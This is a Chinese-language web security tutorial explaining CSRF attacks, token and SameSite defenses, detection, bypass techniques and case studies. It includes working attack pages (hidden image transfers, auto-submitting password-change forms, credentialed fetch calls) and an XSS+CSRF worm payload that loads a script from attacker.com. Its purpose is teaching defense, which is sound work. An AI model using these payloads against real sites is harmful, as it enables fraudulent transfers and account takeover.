Day-038-CSRF 跨站请求伪造

# Day 36: CSRF 跨站请求伪造

> Web 安全系列第 6 天 | 预计阅读时间：35 分钟 | 难度：★★★★☆

---

## 清单 目录

1. [CSRF 概述](#csrf 概述)
2. [CSRF 原理详解](#csrf 原理详解)
3. [CSRF 攻击场景](#csrf 攻击场景)
4. [CSRF Token 机制](#csrf-token 机制)
5. [其他防护技术](#其他防护技术)
6. [CSRF 检测流程](#csrf 检测流程)
7. [CSRF 绕过技术](#csrf 绕过技术)
8. [实战案例分析](#实战案例分析)
9. [防护策略与最佳实践](#防护策略与最佳实践)
10. [总结与思考](#总结与思考)
11. [参考资料](#参考资料)

---

## CSRF 概述

### 什么是 CSRF

CSRF（Cross-Site Request Forgery，跨站请求伪造）是一种攻击技术，攻击者诱导受害者在已登录的状态下，向目标网站发送非本意的请求。

**形象理解**：
如果把网站比作一个银行，那么：
- **正常用户** = 去银行办业务的客户
- **登录状态** = 客户已经通过身份验证
- **CSRF 攻击** = 坏人伪造客户的签名，让客户在不知情的情况下转账
- **后果** = 客户的钱被转走，但银行认为是客户自己操作的

**CSRF 与 XSS 的区别**：
```
XSS（跨站脚本）：
- 利用网站漏洞注入恶意脚本
- 脚本在受害者浏览器执行
- 可以窃取 Cookie、会话等
- 需要网站存在 XSS 漏洞

CSRF（跨站请求伪造）：
- 利用用户已登录的状态
- 伪造用户请求
- 以用户身份执行操作
- 不需要网站存在漏洞
- 利用的是浏览器的信任机制
```

**CSRF 的危害**：
```
1. 账户操作
   - 修改密码
   - 修改邮箱
   - 修改个人信息

2. 金融操作
   - 转账
   - 消费
   - 更改支付信息

3. 社交操作
   - 发布内容
   - 关注/取关
   - 点赞/评论

4. 管理操作
   - 创建管理员账户
   - 修改系统配置
   - 删除数据
```

**真实案例**：
```
案例 1: 某银行 CSRF（2007）
- 漏洞：转账无 CSRF 防护
- 影响：用户资金被盗
- 手法：恶意网站伪造转账请求
- 后果：用户损失数万元

案例 2: 某社交平台 CSRF（2010）
- 漏洞：关注/发推无防护
- 影响：用户被自动关注、发推
- 手法：XSS+CSRF 组合攻击
- 后果：蠕虫式传播

案例 3: 某电商平台 CSRF（2015）
- 漏洞：修改收货地址无防护
- 影响：用户商品被寄到攻击者地址
- 手法：诱导用户访问恶意页面
- 后果：商品损失
```

---

## CSRF 原理详解

### 为什么 CSRF 能成功

**根本原因**：
```
1. 浏览器自动发送 Cookie
   浏览器会自动将目标网站的 Cookie
   附加到所有请求中

2. 网站信任浏览器请求
   网站无法区分：
   - 用户主动发起的请求
   - 攻击者伪造的请求

3. 请求无额外验证
   仅依赖 Cookie 认证
   无其他验证机制
```

**技术原理**：
```
正常流程：
1. 用户登录 target.com
2. 服务器设置 Cookie
3. 用户发起请求
4. 浏览器自动带上 Cookie
5. 服务器验证 Cookie，执行操作

CSRF 流程：
1. 用户登录 target.com
2. 服务器设置 Cookie
3. 用户访问 attacker.com
4. attacker.com 伪造 target.com 的请求
5. 浏览器自动带上 target.com 的 Cookie
6. target.com 验证 Cookie，执行操作
7. 操作完成，用户不知情
```

**关键条件**：
```
1. 用户已登录目标网站
   Cookie 有效

2. 攻击者知道请求格式
   URL、参数、方法等

3. 请求无额外验证
   仅依赖 Cookie

4. 浏览器发送请求
   自动带上 Cookie
```

---

## CSRF 攻击场景

### GET 请求 CSRF

**场景：转账功能**
```html
正常请求：
GET /transfer?to=friend&amount=100

攻击 Payload：
<img src="http://bank.com/transfer?to=attacker&amount=10000" width="0" height="0">

原理：
- 浏览器加载 img 标签
- 自动发送 GET 请求
- 带上 Cookie
- 转账执行
```

**完整攻击页面**：
```html
<!DOCTYPE html>
<html>
<head>
  <title>免费礼品</title>
</head>
<body>
  <h1>恭喜！点击领取免费礼品！</h1>
  
  
  <img src="http://bank.com/transfer?to=attacker&amount=10000" 
       width="0" height="0">
  
  
  <img src="http://bank.com/transfer?to=attacker2&amount=5000" 
       width="0" height="0">
</body>
</html>
```

### POST 请求 CSRF

**场景：修改密码**
```html
正常请求：
POST /change-password
Content-Type: application/x-www-form-urlencoded

old_password=old123
new_password=new123

攻击 Payload：
<form id="csrf" action="http://bank.com/change-password" method="POST">
  <input type="hidden" name="old_password" value="victim_old_password">
  <input type="hidden" name="new_password" value="attacker_password">
</form>
<script>document.getElementById('csrf').submit();</script>

原理：
- 自动提交表单
- 浏览器发送 POST 请求
- 带上 Cookie
- 密码被修改
```

**完整攻击页面**：
```html
<!DOCTYPE html>
<html>
<head>
  <title>查看图片</title>
</head>
<body>
  <h1>正在加载图片...</h1>
  
  
  <form id="csrf" action="http://bank.com/change-password" method="POST">
    <input type="hidden" name="old_password" value="victim_old_password">
    <input type="hidden" name="new_password" value="attacker_password">
    <input type="hidden" name="confirm_password" value="attacker_password">
  </form>
  
  <script>
    // 自动提交
    document.getElementById('csrf').submit();
  </script>
</body>
</html>
```

### AJAX CSRF

**场景：API 调用**
```javascript
正常请求：
fetch('/api/transfer', {
  method: 'POST',
  credentials: 'include',
  body: JSON.stringify({
    to: 'friend',
    amount: 100
  })
});

攻击 Payload：
<script>
  fetch('http://bank.com/api/transfer', {
    method: 'POST',
    credentials: 'include',
    body: JSON.stringify({
      to: 'attacker',
      amount: 10000
    })
  });
</script>

原理：
- credentials: 'include' 带上 Cookie
- 发送 JSON 请求
- 服务器执行操作
```

**注意**：
```
现代浏览器有 CORS 保护：
- 跨域 AJAX 请求受限制
- 需要服务器设置 CORS 头
- 简单请求（GET、POST）可能成功
- 复杂请求需要预检

但 CSRF 仍可能成功：
- 使用表单提交
- 使用 img 标签
- 使用导航跳转
```

---

## CSRF Token 机制

### 什么是 CSRF Token

**CSRF Token**是服务器生成的随机令牌，包含在表单或请求中，用于验证请求的合法性。

**工作原理**：
```
1. 服务器生成 Token
   随机、不可预测
   与会话绑定

2. Token 嵌入表单
   <input type="hidden" name="csrf_token" value="abc123">

3. 提交时发送 Token
   表单提交时包含 Token

4. 服务器验证 Token
   验证 Token 是否有效
   无效则拒绝请求
```

**为什么有效**：
```
攻击者无法获取 Token：
1. Token 是服务器生成
   攻击者无法预测

2. Token 不在 Cookie 中
   浏览器不会自动发送

3. Token 不在 URL 中
   Referer 不会泄露

4. 同源策略保护
   攻击者无法读取页面内容
```

### Token 实现方式

**Session-based Token**：
```python
# Python/Flask 示例
from flask import session, request, abort
import secrets

# 生成 Token
def generate_csrf_token():
    if 'csrf_token' not in session:
        session['csrf_token'] = secrets.token_hex(32)
    return session['csrf_token']

# 验证 Token
def validate_csrf_token():
    token = request.form.get('csrf_token')
    if not token or token != session.get('csrf_token'):
        abort(403)
    return True

# 使用
@app.route('/transfer', methods=['POST'])
def transfer():
    validate_csrf_token()
    # 处理转账
```

**Cookie-based Token（Double Submit Cookie）**：
```python
# Python/Flask 示例
from flask import request, make_response, abort
import secrets

# 设置 Token
@app.before_request
def set_csrf_cookie():
    if 'csrf_token' not in request.cookies:
        token = secrets.token_hex(32)
        response = make_response()
        response.set_cookie('csrf_token', token)
        return response

# 验证 Token
def validate_csrf_token():
    cookie_token = request.cookies.get('csrf_token')
    form_token = request.form.get('csrf_token')
    
    if not cookie_token or not form_token:
        abort(403)
    
    if cookie_token != form_token:
        abort(403)
    
    return True
```

**Header-based Token**：
```javascript
// 前端设置
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;

fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': csrfToken,
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({to: 'friend', amount: 100})
});
```

```python
# 后端验证
@app.route('/api/transfer', methods=['POST'])
def transfer():
    token = request.headers.get('X-CSRF-Token')
    if not token or token != session.get('csrf_token'):
        abort(403)
    # 处理转账
```

### 框架内置防护

**Django**：
```python
# 自动 CSRF 防护
# 模板中自动添加 Token
<form method="post">
  {% csrf_token %}
  
</form>

# 装饰器验证
from django.views.decorators.csrf import csrf_protect

@csrf_protect
def transfer(request):
    # 处理转账
```

**Laravel**：
```php
// 模板中自动添加 Token
<form method="POST" action="/transfer">
  @csrf
  
</form>

// API 中验证
// Laravel Sanctum 自动处理 CSRF
```

**Spring Security**：
```java
// 配置 CSRF 防护
@Configuration
@EnableWebSecurity
public class SecurityConfig {
  @Bean
  public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
    http
      .csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());
    return http.build();
  }
}
```

---

## 其他防护技术

### SameSite Cookie

**什么是 SameSite**：
```
SameSite 是 Cookie 的一个属性，
控制 Cookie 在跨站请求时是否发送。

三个值：
- Strict: 任何跨站请求都不发送
- Lax: 部分跨站请求不发送（默认）
- None: 跨站请求也发送（需要 Secure）
```

**配置示例**：
```
Set-Cookie: session=abc123; SameSite=Strict; Secure
Set-Cookie: session=abc123; SameSite=Lax; Secure
Set-Cookie: session=abc123; SameSite=None; Secure
```

**防护效果**：
```
SameSite=Strict:
✓ 完全防止 CSRF
✗ 影响用户体验（跨站登录失效）

SameSite=Lax:
✓ 防止大部分 CSRF
✓ 允许跨站导航
✓ 用户体验较好

SameSite=None:
✗ 不防止 CSRF
✓ 允许跨站请求
✓ 需要 HTTPS
```

**浏览器支持**：
```
- Chrome 51+：支持
- Firefox 60+：支持
- Safari 12.1+：支持
- Edge 79+：支持

注意：
- 旧浏览器不支持
- 需要降级方案
- 不能单独依赖 SameSite
```

### Referer 检查

**原理**：
```
检查请求的 Referer 头，
验证请求来源是否合法。

合法请求：
Referer: https://bank.com/transfer

CSRF 请求：
Referer: https://attacker.com/csrf.html
或
Referer: (空)
```

**实现示例**：
```python
from flask import request, abort

@app.route('/transfer', methods=['POST'])
def transfer():
    referer = request.headers.get('Referer')
    
    if not referer:
        abort(403)  # Referer 为空，拒绝
    
    if not referer.startswith('https://bank.com/'):
        abort(403)  # Referer 不是本站，拒绝
    
    # 处理转账
```

**优缺点**：
```
优点：
✓ 实现简单
✓ 无需 Token
✓ 额外防护层

缺点：
✗ Referer 可能被伪造
✗ 隐私设置可能不发送 Referer
✗ 某些场景 Referer 为空（HTTPS→HTTP）
✗ 不能单独依赖
```

### 自定义 Header

**原理**：
```
要求请求包含自定义 Header，
浏览器跨域请求无法设置自定义 Header。

实现：
前端设置：X-Requested-With: XMLHttpRequest
后端验证：检查 Header 是否存在
```

**实现示例**：
```javascript
// 前端
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-Requested-With': 'XMLHttpRequest',
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({to: 'friend', amount: 100})
});
```

```python
# 后端
@app.route('/api/transfer', methods=['POST'])
def transfer():
    if request.headers.get('X-Requested-With') != 'XMLHttpRequest':
        abort(403)
    # 处理转账
```

**优缺点**：
```
优点：
✓ 实现简单
✓ AJAX 请求自动支持
✓ 额外防护层

缺点：
✗ 仅适用于 AJAX
✗ 表单提交无法使用
✗ 不能单独依赖
```

### 验证码

**原理**：
```
敏感操作要求输入验证码，
攻击者无法获取验证码。

适用场景：
- 转账
- 修改密码
- 删除账户
- 其他敏感操作
```

**实现示例**：
```html
<form method="POST" action="/transfer">
  <input type="text" name="captcha" placeholder="输入验证码">
  <img src="/captcha" alt="验证码">
  <button type="submit">转账</button>
</form>
```

**优缺点**：
```
优点：
✓ 有效防止 CSRF
✓ 防止自动化攻击
✓ 用户可见

缺点：
✗ 影响用户体验
✗ 不能用于所有操作
✗ 可能被 OCR 破解
```

---

## CSRF 检测流程

### 手工检测

**步骤 1: 寻找敏感操作**
```
□ 转账功能
□ 修改密码
□ 修改邮箱
□ 修改个人信息
□ 删除账户
□ 创建管理员
□ 系统配置
```

**步骤 2: 检查请求**
```
□ 是否有 CSRF Token
□ Token 是否验证
□ 是否有其他防护
□ Referer 是否检查
□ Cookie 是否有 SameSite
```

**步骤 3: 构造 CSRF 请求**
```
1. 复制请求
   URL、方法、参数

2. 创建测试页面
   表单或 img 标签

3. 测试请求
   登录目标网站
   访问测试页面
   观察是否执行
```

**步骤 4: 验证结果**
```
成功：
- 操作被执行
- 无 CSRF 防护
- 需要修复

失败：
- 请求被拒绝
- 有 CSRF 防护
- 尝试绕过
```

### 自动化工具

**CSRF Tester**：
```
工具：CSRF Tester
功能：
- 录制请求
- 生成 CSRF 页面
- 测试 CSRF

使用：
1. 录制正常请求
2. 生成 CSRF HTML
3. 测试 CSRF
```

**Burp Suite**：
```
功能：
- CSRF Token 检测
- 生成 CSRF Payload
- 测试 CSRF

使用：
1. 捕获请求
2. 右键生成 CSRF PoC
3. 测试 CSRF
```

**OWASP ZAP**：
```
功能：
- 主动扫描 CSRF
- 生成 CSRF 报告
- 免费开源

使用：
1. 扫描目标网站
2. 查看 CSRF 报告
3. 手动验证
```

---

## CSRF 绕过技术

### Token 绕过

**场景 1: Token 未验证**
```
情况：
- 表单有 Token 字段
- 但服务器未验证

检测：
- 移除 Token 提交
- 请求成功 → 未验证

绕过：
- 直接移除 Token
- 构造 CSRF 请求
```

**场景 2: Token 固定**
```
情况：
- Token 不随会话变化
- 所有用户相同
- 或长期不变

检测：
- 多次获取 Token
- 比较是否相同

绕过：
- 使用固定 Token
- 构造 CSRF 请求
```

**场景 3: Token 与会话无关**
```
情况：
- Token 与会话不绑定
- 攻击者可获取自己的 Token
- 用于攻击其他用户

检测：
- 登录两个账户
- 比较 Token
- 相同或可互换 → 漏洞

绕过：
- 使用自己的 Token
- 攻击其他用户
```

**场景 4: Token 在 URL 中**
```
情况：
- Token 在 URL 参数中
- Referer 可能泄露

检测：
- 检查 URL 中的 Token
- 检查 Referer 策略

绕过：
- 利用 Referer 泄露
- 获取 Token
```

### Referer 绕过

**场景 1: Referer 为空允许**
```
情况：
- Referer 为空时不拒绝

绕过：
<meta name="referrer" content="never">

<a href="http://target.com" rel="noreferrer">Click</a>
```

**场景 2: Referer 检查不严格**
```
情况：
- 只检查部分域名
- 或使用模糊匹配

绕过：
- 构造相似域名
- attacker.com.evil.com
```

**场景 3: Referer 可伪造**
```
情况：
- 某些场景可设置 Referer
- 如 Flash、某些浏览器

绕过：
- 使用可伪造 Referer 的方式
- 构造 CSRF 请求
```

### SameSite 绕过

**场景 1: 旧浏览器**
```
情况：
- 旧浏览器不支持 SameSite
- Cookie 仍会发送

绕过：
- 针对旧浏览器用户
- 构造 CSRF 攻击
```

**场景 2: SameSite=None**
```
情况：
- Cookie 设置为 SameSite=None
- 跨站请求也发送

绕过：
- 直接构造 CSRF 请求
```

**场景 3: 子域名绕过**
```
情况：
- 主域名和子域名 Cookie 共享

绕过：
- 从子域名发起请求
- Cookie 会发送
```

---

## 实战案例分析

### 案例 1: 某银行 CSRF

**漏洞描述**：
```
平台：某商业银行
漏洞：CSRF
位置：转账功能
影响：用户资金被盗
```

**发现过程**：
```
1. 测试转账功能
2. 捕获转账请求
   POST /transfer
   to=friend&amount=100

3. 检查防护
   - 无 CSRF Token
   - 无 Referer 检查
   - Cookie 无 SameSite

4. 构造 CSRF 页面
   <form action="http://bank.com/transfer" method="POST">
     <input type="hidden" name="to" value="attacker">
     <input type="hidden" name="amount" value="10000">
   </form>

5. 测试 CSRF
   登录银行账户
   访问 CSRF 页面
   转账成功
```

**利用过程**：
```
1. 创建恶意网站
   免费礼品、视频等诱饵

2. 诱导用户访问
   邮件、社交媒体等

3. 自动提交 CSRF 请求
   用户资金被转走

4. 用户不知情
   直到查看账户
```

**修复方案**：
```
1. 添加 CSRF Token
   每会话生成 Token
   验证 Token

2. 设置 SameSite
   SameSite=Strict

3. Referer 检查
   验证请求来源

4. 敏感操作验证码
   转账要求输入验证码
```

### 案例 2: 某社交平台 CSRF+XSS

**漏洞描述**：
```
平台：某社交平台
漏洞：CSRF+XSS 组合
位置：发布动态
影响：蠕虫式传播
```

**攻击流程**：
```
1. 发现发布动态无 CSRF 防护

2. 构造 XSS+CSRF Payload
   <script>
     // 自动发布含 XSS 的动态
     fetch('/post', {
       method: 'POST',
       credentials: 'include',
       body: 'content=Check this! <script src="http://attacker.com/worm.js"></script>'
     });
     
     // 自动关注攻击者
     fetch('/follow/attacker', {method: 'POST'});
   </script>

3. 诱导用户访问恶意页面

4. 用户发布含 XSS 的动态

5. 粉丝看到动态，执行 XSS

6. 粉丝也发布动态，继续传播

7. 蠕虫式传播
```

**影响**：
```
- 数十万用户感染
- 自动发布恶意动态
- 自动关注攻击者
- 平台紧急修复
```

---

## 防护策略与最佳实践

### 多层防护

**推荐策略**：
```
1. CSRF Token（必须）
   ✓ 每会话生成
   ✓ 严格验证
   ✓ 与会话绑定

2. SameSite Cookie（推荐）
   ✓ SameSite=Lax 或 Strict
   ✓ 额外防护层

3. Referer 检查（推荐）
   ✓ 验证请求来源
   ✓ 额外防护层

4. 验证码（敏感操作）
   ✓ 转账、改密等
   ✓ 防止自动化
```

### 开发规范

**前端**：
```
1. 自动包含 Token
   所有表单自动添加
   所有 AJAX 请求自动添加

2. Token 刷新
   会话过期时刷新
   定期刷新

3. 错误处理
   Token 无效时提示
   引导重新登录
```

**后端**：
```
1. 全局 CSRF 防护
   默认启用
   白名单例外

2. Token 验证
   验证所有 POST/PUT/DELETE
   验证 Token 有效性

3. 日志记录
   记录 CSRF 失败
   监控异常
```

### 框架使用

**使用内置防护**：
```
Django:
✓ 默认启用 CSRF
✓ 模板自动添加 Token
✓ 装饰器验证

Laravel:
✓ 默认启用 CSRF
✓ @csrf 指令
✓ 自动验证

Spring Security:
✓ 配置 CSRF 防护
✓ 自动 Token 管理
✓ 注解验证

Rails:
✓ 默认启用 CSRF
✓ 表单自动添加
✓ 自动验证
```

---

## 总结与思考

### 核心要点回顾

1. **CSRF 原理**
   - 利用浏览器自动发送 Cookie
   - 伪造用户请求
   - 以用户身份执行操作

2. **防护技术**
   - CSRF Token（最重要）
   - SameSite Cookie
   - Referer 检查
   - 验证码

3. **检测流程**
   - 寻找敏感操作
   - 检查防护措施
   - 构造 CSRF 请求
   - 验证结果

### 深入思考问题

1. **为什么 CSRF 依然存在**？
   - 开发人员意识不足
   - 旧系统未修复
   - API 设计不当

2. **Token 机制的局限性**？
   - XSS 可窃取 Token
   - 子域名共享
   - 实现复杂

3. **未来趋势**？
   - SameSite 普及
   - 框架自动防护
   - 新攻击手法

### 实战建议

**开发人员**：
1. 使用框架内置防护
2. 实施 CSRF Token
3. 设置 SameSite
4. 敏感操作验证码

**安全人员**：
1. 定期 CSRF 测试
2. 代码审计
3. 渗透测试
4. 安全培训

**管理层**：
1. 安全预算投入
2. 安全开发生命周期
3. 第三方组件管理
4. 事件响应预案

---

## 参考资料

### 学习资源
- [OWASP CSRF](https://owasp.org/www-community/attacks/csrf)
- [CSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)

### 工具资源
- [CSRF Tester](https://sourceforge.net/projects/csrf-tester/)
- [Burp Suite](https://portswigger.net/burp)
- [OWASP ZAP](https://www.zaproxy.org/)

### 书籍推荐
- 《Web 安全深度剖析》
- 《白帽子讲 Web 安全》
- 《The Web Application Hacker's Handbook》

---

**标记 明日预告**：Day 37 - 文件上传漏洞

> 本文内容仅供学习和研究使用，请勿用于非法目的。所有实验请在隔离环境中进行。

---

*本文是 365 天信息安全技术系列的第 36 篇，Web 安全部分第 6 篇，精编版本*